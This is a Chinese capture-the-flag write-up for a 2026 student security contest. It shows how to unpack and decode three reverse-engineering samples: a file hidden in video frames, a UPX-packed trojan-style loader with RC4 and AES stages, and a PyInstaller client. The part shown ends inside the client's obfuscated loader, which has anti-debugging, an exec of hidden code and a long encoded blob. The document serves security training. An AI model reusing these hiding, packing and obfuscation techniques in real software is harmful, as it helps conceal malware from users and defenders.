2026软件系统安全赛 writeup
为积极响应国家关于加强软件工程学科建设与系统安全人才培养的战略部署,特举办软件系统安全赛。本赛事面向大学生,聚焦大型工业软件、关键基础软件等核心领域软件漏洞的挖掘、攻击与修复,通过模拟真实场景的攻防对抗,全面提升大学生在软件系统安全领域的实战能力。 通过此项科技创新活动,有效提高学生的软件系统安全攻防水平、创新意识与团队协作精神,加强高校间的学术交流,推动软件工程与网络安全人才培养体系的深化改革和
Re1
ida分析main函数:
可知让我们恢复pyc文件
import base64
import hashlib
from pathlib import Path
b64_parts = [
"Qg0NCgAAAABK5llpWgkAAOMAAAAAAAAAAAAAAAAFAAAAQAAAAHN6AAAAZABkAWwAb",
"QFaAQEAZABkAmwCWgJkAGQCbANaA2QAZAJsBFoEZABkAmwFWgZkAGQCbAdaB2QAZA",
"NsCG0IWggBAGQOZAlkCoQBWgllCmQLawJydmQMWgtlA2oMoA1lC6EBcmxlCWULgwE",
"BAG4KZQSgDmQNoQEBAGQCUwApD+kAAAAAKQHaBUltYWdlTikB2gR0cWRt6YACAADp",
"4AEAAOkIAAAA6QoAAAD6CXZpZGVvLm1wNGMGAAAAAAAAACAAAAALAAAAAwAAAHNwA",
"gAAdABqAaACfAChAXMQZABTAHQAagGgA3wAoQF9BmQBfQd0BHwAZAKDAo9QiQB4SH",
"QFdAaHAGYBZANkBIQIZAWDAnQHoAh8BmQGGwChAWQHZAhkCY0ERABdHH0IfAdkAaA",
"JZApkC4QAfAhEAIMBoQE3AH0HcVZXAFcAZABRAFIAWABkDH0JZAF9CnhmdApkDXQL",
"fAeDAWQOgwNEAF1SfQt8B3wLfAtkDhcAhQIZAH0IdAt8CIMBZA5rAnLkdAx8CGQPg",
"wJ9DHQMfAlkD4MCfQ18DHwNQQB9DnwKfA5kEJsENwB9CnGafAp8CDcAfQpxmlcAfA",
"p9B3wBfAMaAHwCfAMaABQAfQ90B6AIdAt8B4MBfA8bAKEBfRBnAH0RkAF4EHQFdAp",
"8EIMBZBFkEo0CRABd/H0LfAt8DxQAfRJ8B3wSfBJ8DxcAhQIZAH0TdAt8E4MBfA9r",
"AJABcmx8E2QTfA90C3wTgwEYABQAFwB9E3QNag5kFHwBfAJmAmQVZBaNA30UeJZ0C",
"nwCfAMaAIMBRABdhn0VfBV8AXwDGgAUAH0WfBVkFxcAfAF8AxoAFAB9F3wTfBZ8F4",
"UCGQB9GHhWdA98GIMBRABdSlwCfRl9GnwaZBhrApABctpkGW4CZBp9G3wZfAMUAHw",
"VfAMUAAIAfRx9HXwUoBB8G3wcfB18HHwDFwB8HXwDFwBmBKECAQCQAXHEVwCQAXGO",
"VwB8EaARdBKgE3wUoQGhAQEAkAFxLlcAdBRqFXwFfARkG2QcjQOPKH0eeCB0BXwRZ",
"B1kEo0CRABdEH0ffB6gFnwfoQEBAJACcU5XAFcAZABRAFIAWABkAFMAKR5O2gDaAn",
"JiYwAAAAAAAAAAAAAAAAMAAAATAAAAcwoAAACIAKAAZAGhAVMAKQJOaQAEAAApAdo",
"EcmVhZKkAKQHaAWZyDAAAAPodUGF5bG9hZF9Ub19QaXhlbENvZGVfdmlkZW8ucHna",
"CDxsYW1iZGE+EAAAAPMAAAAAeh9maWxlX3RvX3ZpZGVvLjxsb2NhbHM+LjxsYW1iZ",
"GE+chAAAABpAAQAAFoCS0J1DAAAAOivu+WPluaWh+S7tikE2ghpdGVyYWJsZVoFdG",
"90YWxaBHVuaXTaBGRlc2NjAQAAAAAAAAACAAAAAwAAAHMAAABzFgAAAHwAXQ59AXw",
"BZACbBFYAAQBxAmQBUwApAtoDMDhiTnIMAAAAKQLaAi4wWgRieXRlcgwAAAByDAAA",
"AHIOAAAA+gk8Z2VuZXhwcj4TAAAAcwIAAAAEAHogZmlsZV90b192aWRlby48bG9jY",
"WxzPi48Z2VuZXhwcj5aCDEwMTAxMDEwcgEAAAByBgAAAOkCAAAAchMAAAB1DwAAAO",
"eUn+aIkOinhumikeW4pykBchIAAADaATBaA1JHQloFd2hpdGUpAdoFY29sb3LpAQA",
"AANoBMSkDcgEAAAByAQAAAHIBAAAAKQPp/wAAAHIbAAAAchsAAABaB2xpYngyNjQp",
"AtoDZnBz2gVjb2RlY3UPAAAA5YaZ5YWl6KeG6aKR5binKRfaAm9z2gRwYXRo2gZpc",
"2ZpbGXaB2dldHNpemXaBG9wZW5yAwAAANoEaXRlctoEbWF0aFoEY2VpbNoEam9pbt",
"oFcmFuZ2XaA2xlbtoDaW50cgIAAADaA25ld9oJZW51bWVyYXRlWgVwYXN0ZdoGYXB",
"wZW5k2gJucFoFYXJyYXnaB2ltYWdlaW9aCmdldF93cml0ZXJaC2FwcGVuZF9kYXRh",
"KSBaCmlucHV0X2ZpbGXaBXdpZHRoWgZoZWlnaHRaCnBpeGVsX3NpemVyHAAAANoLb",
"3V0cHV0X2ZpbGVaCWZpbGVfc2l6ZVoNYmluYXJ5X3N0cmluZ9oFY2h1bmtaB3hvcl",
"9rZXlaEXhvcl9iaW5hcnlfc3RyaW5n2gFpWgljaHVua19pbnRaB2tleV9pbnRaCnh",
"vcl9yZXN1bHRaEHBpeGVsc19wZXJfaW1hZ2VaCm51bV9pbWFnZXNaBmZyYW1lc9oF",
"c3RhcnTaBGJpdHNaA2ltZ9oBcloJcm93X3N0YXJ0Wgdyb3dfZW5k2gNyb3faAWPaA",
"2JpdHIYAAAAWgJ4MVoCeTHaBndyaXRlctoFZnJhbWVyDAAAACkBcg0AAAByDgAAAN",
"oNZmlsZV90b192aWRlbwgAAABzUgAAAAABDAEEAgwCBAEMARQBDgEMASYCBAEEARY",
"BEAEMAQoBCgEIAQ4CDAIEAhABEgIEAhgBCAEQAQ4BFAIUAhIBDAEQAQwCEgESARIB",
"KAIWAhIBEgFyOgAAANoIX19tYWluX19aB3BheWxvYWRyGQAAACkFcgQAAAByBQAAA",
"HIGAAAAcgcAAAByCAAAACkPWgNQSUxyAgAAAHIkAAAAch4AAADaA3N5c1oFbnVtcH",
"lyLAAAAHItAAAAcgMAAAByOgAAANoIX19uYW1lX19aCmlucHV0X3BhdGhyHwAAANo",
"GZXhpc3Rz2gRleGl0cgwAAAByDAAAAHIMAAAAcg4AAADaCDxtb2R1bGU+AQAAAHMW",
"AAAADAEQAQgBCAEIAQwCCjgIAQQBDAEKAg==",
]
b64_data = "".join(b64_parts)
pyc_data = base64.b64decode(b64_data)
out = Path("payload_encoder.pyc")
out.write_bytes(pyc_data)
print(f"[+] wrote: {out.resolve()}")
print(f"[+] size : {len(pyc_data)} bytes")
print(f"[+] sha256: {hashlib.sha256(pyc_data).hexdigest()}")反编译一下:payload.pyc - PyLingual
恢复内容:
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'Payload_To_PixelCode_video.py'
# Bytecode version: 3.7.0 (3394)
# Source timestamp: 2026-01-04 04:02:18 UTC (1767499338)
from PIL import Image
import math
import os
import sys
import numpy as np
import imageio
from tqdm import tqdm
def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):
if not os.path.isfile(input_file):
return None
file_size = os.path.getsize(input_file)
binary_string = ''
with open(input_file, 'rb') as f:
for chunk in tqdm(iterable=iter(lambda: f.read(1024), b''), total=math.ceil(file_size / 1024), unit='KB', desc='读取文件'):
binary_string += ''.join((f'{byte:08b}' for byte in chunk))
xor_key = '10101010'
xor_binary_string = ''
for i in range(0, len(binary_string), 8):
chunk = binary_string[i:i + 8]
if len(chunk) == 8:
chunk_int = int(chunk, 2)
key_int = int(xor_key, 2)
xor_result = chunk_int ^ key_int
xor_binary_string += f'{xor_result:08b}'
else:
xor_binary_string += chunk
binary_string = xor_binary_string
pixels_per_image = width // pixel_size * (height // pixel_size)
num_images = math.ceil(len(binary_string) / pixels_per_image)
frames = []
for i in tqdm(range(num_images), desc='生成视频帧'):
start = i * pixels_per_image
bits = binary_string[start:start + pixels_per_image]
if len(bits) < pixels_per_image:
bits = bits + '0' * (pixels_per_image - len(bits))
img = Image.new('RGB', (width, height), color='white')
for r in range(height // pixel_size):
row_start = r * (width // pixel_size)
row_end = (r + 1) * (width // pixel_size)
row = bits[row_start:row_end]
for c, bit in enumerate(row):
color = (0, 0, 0) if bit == '1' else (255, 255, 255)
x1, y1 = (c * pixel_size, r * pixel_size)
img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))
frames.append(np.array(img))
with imageio.get_writer(output_file, fps=fps, codec='libx264') as writer:
for frame in tqdm(frames, desc='写入视频帧'):
writer.append_data(frame)
if __name__ == '__main__':
input_path = 'payload'
if os.path.exists(input_path):
file_to_video(input_path)
else:
sys.exit(1)分析:它不是“从视频里读 flag”,而是把文件 payload 编码进 video.mp4。
所以反过来恢复时要做三步:
- 按
8x8像素块读取每帧黑白块 - 黑=1,白=0,拼成比特流
- 每 8 位还原成 1 字节,再和
0xAA异或一次
我已经顺着这个逻辑验过了,恢复出来的开头是:
b'\x7fELF...'也就是说,video.mp4 里藏的是一个 ELF 可执行文件。
下面给你完整恢复脚本。
import imageio.v2 as imageio
from pathlib import Path
def video_to_file(
input_video="video.mp4",
output_file="payload_recovered",
width=640,
height=480,
pixel_size=8,
threshold=128,
):
reader = imageio.get_reader(input_video)
bits = []
for frame in reader:
for r in range(height // pixel_size):
for c in range(width // pixel_size):
y1 = r * pixel_size
y2 = (r + 1) * pixel_size
x1 = c * pixel_size
x2 = (c + 1) * pixel_size
block = frame[y1:y2, x1:x2]
mean_val = block.mean()
# 原脚本里:黑色代表 bit=1,白色代表 bit=0
bit = "1" if mean_val < threshold else "0"
bits.append(bit)
bitstring = "".join(bits)
# 每8位转1字节
raw_bytes = bytearray()
for i in range(0, len(bitstring), 8):
chunk = bitstring[i:i+8]
if len(chunk) < 8:
break
raw_bytes.append(int(chunk, 2))
# 原编码时做了 XOR 0xAA,这里要反向异或回来
decoded = bytes(b ^ 0xAA for b in raw_bytes)
Path(output_file).write_bytes(decoded)
print(f"[+] recovered -> {output_file}")
print(f"[+] size: {len(decoded)} bytes")
print(f"[+] header: {decoded[:16]!r}")
if __name__ == "__main__":
video_to_file("video.mp4", "payload_recovered")- ELF 64-bit
- x86-64
- 文件里有一串明显的 MD5 值表,比如:
c4ca4238a0b923820dcc509a6f75849bc81e728d9d4c2f636f067f89cc14862ceccbc87e4b5ce2fe28308fd9f2a7baf3
然后ida放入分析
这个 ELF 里那串 32 位十六进制字符串,确实就是 单字符的 MD5。
因为目标字符集很小,直接预计算可打印 ASCII 的 MD5 再反查就行。
import re
import hashlib
import string
def build_md5_table():
table = {}
charset = string.printable[:-6]
for ch in charset:
table[hashlib.md5(ch.encode()).hexdigest()] = ch
return table
def extract_md5_strings(filepath):
data = open(filepath, "rb").read().decode("latin1", errors="ignore")
return re.findall(r"\b[a-f0-9]{32}\b", data)
def main():
md5_table = build_md5_table()
md5_list = extract_md5_strings("payload_recovered")
flag = "".join(md5_table.get(h, "?") for h in md5_list)
print(flag)
if __name__ == "__main__":
main()dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}
Re2
加壳了:
改成upx
进一步查看导入表时可以发现,导入函数非常少,仅包含:
LoadLibraryA
GetProcAddress
VirtualProtect这种情况说明程序在运行时会动态解析 API,而不是在导入表中直接声明。这也是很多恶意程序或壳程序常见的特征。
因此可以判断:
该样本并不是原始程序,而是一个经过壳保护的 loader。
由于样本存在壳保护,并且导入表被压缩得非常干净,直接静态分析并不方便。
因此更简单的做法是直接运行程序并在运行时获取解包后的内存。
这里使用 Speakeasy 仿真框架进行轻量级执行。
示例代码如下:
from speakeasy import Speakeasy
se = Speakeasy()
mod = se.load_module("challenge1.exe")
se.run_module(mod, all_entrypoints=True)
name, base, size, is_free, proc, data = next(se.get_memory_dumps())
open("unpacked.bin", "wb").write(data)执行后可以得到一个内存镜像文件:
unpacked.bin这个文件包含了程序解包后的真实代码与数据。
接下来在 unpacked.bin 中搜索可疑数据。
在分析过程中可以发现一段很长的 Base64 编码字符串。
其中开头部分类似:
TVqQ...这里的 TVqQ 非常关键,因为:
TVqQ == "MZ" 的 Base64 编码这意味着:
这段 Base64 数据很可能是一段 PE 文件。
可以使用简单的脚本将其提取并解码:
import re, base64
buf = open("unpacked.bin", "rb").read()
m = re.search(rb'TVqQ[A-Za-z0-9+/=]{1000,}', buf)
blob = m.group()
stage2 = base64.b64decode(blob)
open("stage2.exe", "wb").write(stage2)执行后即可恢复出:
stage2.exe该文件即为程序的 第二阶段载荷。
打开 stage2.exe 后可以发现其结构已经恢复为正常 PE。
节区包括:
.text
.hello
.data
.rdata
.mydata
.pdata
.xdata
.bss
.idata
.CRT
.tls导入的库包括:
KERNEL32.dll
msvcrt.dll
USER32.dll同时在字符串中可以看到一些明显的提示信息:
Enter the key:
Error reading input.
MessageBoxW这些字符串表明程序在运行时会提示用户输入某个 key,并根据输入结果进行判断。
从表面来看,这似乎是一个简单的 输入验证程序。
进一步分析 .text 段代码,可以发现程序启动后会扫描自身的节表,并寻找两个特殊节区:
.hello
.mydata找到之后程序会执行以下操作:
- 使用
VirtualProtect修改节区权限 - 调用内部解密函数
- 将解密后的数据重新写回节区
这说明 .hello 与 .mydata 在文件中是 加密存储的。
对解密函数进行反汇编后,可以发现其结构非常典型:
首先初始化一个 256 字节数组,然后根据密钥不断交换数组中的元素。
随后在循环中生成伪随机字节并与数据进行 XOR。
该逻辑完全符合 RC4 算法的实现特征:
- 一个函数负责 KSA(Key Scheduling Algorithm)
- 一个函数负责 PRGA(Pseudo Random Generation Algorithm)
RC4 的密钥存储在 .rdata 节区中。
因此程序的加密结构为:
第一层:UPX 壳
第二层:Base64 内嵌 PE
第三层:RC4 加密节区将 .hello 与 .mydata 使用 RC4 解密后,可以恢复出程序的真实代码。
其中:
.hello包含程序的主要逻辑代码。
.mydata保存一些关键数据,例如:
- 密钥
- 初始化向量
- 校验常量
在 .hello 中可以看到输入校验函数,其流程大致为:
- 读取用户输入
- 进行 padding
- 按 16 字节进行分组
- 调用 AES 加密函数
- 将结果与
.mydata中的常量进行比较
同时在 .rdata 中还可以看到标准的 AES 表,例如:
0x4071e0 → AES S-box
0x4070e0 → AES inverse S-box由此可以确认:
二阶段程序内部实现了 AES 加密算法。
虽然程序看起来是一个需要输入 key 的验证程序,但结合题目描述:
分析木马外泄的敏感数据
可以推断:
题目的重点并不是去破解输入框,而是通过分析恶意样本,找出其中隐藏的敏感信息。
在恢复 .mydata 中的数据后,可以发现其中包含一个 UUID 格式的标识符:
c3d4f5cc-8aab-46ce-a188-2fc453f3b288这正是程序最终泄露的数据。
因此最终答案为:
dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288}Re3
程序是python写的,用python installer解包
https://pyinstxtractor-web.netlify.app/
分析里面的pyc文件
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'client.py'
# Bytecode version: 3.10.b1 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import base64
import sys
import os
import json
import socket
import hashlib
import crypt_core
import builtins
def _oe(_d, _k1, _k2, _rn):
# ***<module>._oe: Failure: Compilation Error
try:
_b = base64.b85decode(_d.encode())
_r = []
for _i, _x in enumerate(_b):
return ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn),
_r.append(_x, _k if _k else None)
_s = bytes(_r).decode()
_res = []
for _c in _s:
if _c.isalpha():
_base = ord('A') if _c.isupper() else ord('a')
_res.append((chr, ord(_c), _base, _rn, 26, _base))
else:
if _c.isdigit():
_res.append(str(int(_c), _rn or 10))
else:
_res.append(_c)
return ''.join(_res)
except:
return _d
_globs = dict(__name__='__main__', __file__=__file__, __package__=None, _oe=_oe)
for _k in dir(builtins):
if not _k.startswith('_'):
_globs[_k] = getattr(builtins, _k)
_globs['base64'] = base64
_globs['sys'] = sys
_globs['os'] = os
_globs['json'] = json
_globs['socket'] = socket
_globs['hashlib'] = hashlib
_globs['crypt_core'] = crypt_core
def _obf_check():
if hasattr(sys, 'gettrace'):
_tr = sys.gettrace()
if _tr is not None:
return False
return True
def _obf_exec(_code):
# ***<module>._obf_exec: Failure: Different bytecode
if not _obf_check():
return None
else:
exec(compile, _code, chr(60) | chr(111) | chr(98) | chr(102) | chr(101) | chr(120) | chr(99))
_1667 = 'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D<CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT>BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*<UurQmAUz;#VQpe$VLBivGBP<JULZ0sH7Ot~ASg37IUpq<GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C<EB_J{}DGCZ>Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB<ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I>SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF<SMPF1wLQF*<Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb<8AX8L9PDDXcL|;KnP)I>SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2<tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF<SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$<o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~<LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2<b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ>1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D<Cl`3LqdLAaZ4Nb#iVXUw9xsJs>a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu<VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X>K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu<VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe<D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X>4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X<nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W>9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu<VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc<&ARr(hARr(hARr)LWMyGwUt?ixV<;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs>nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe<D}ARr)LX=HdHJs>a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT<ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K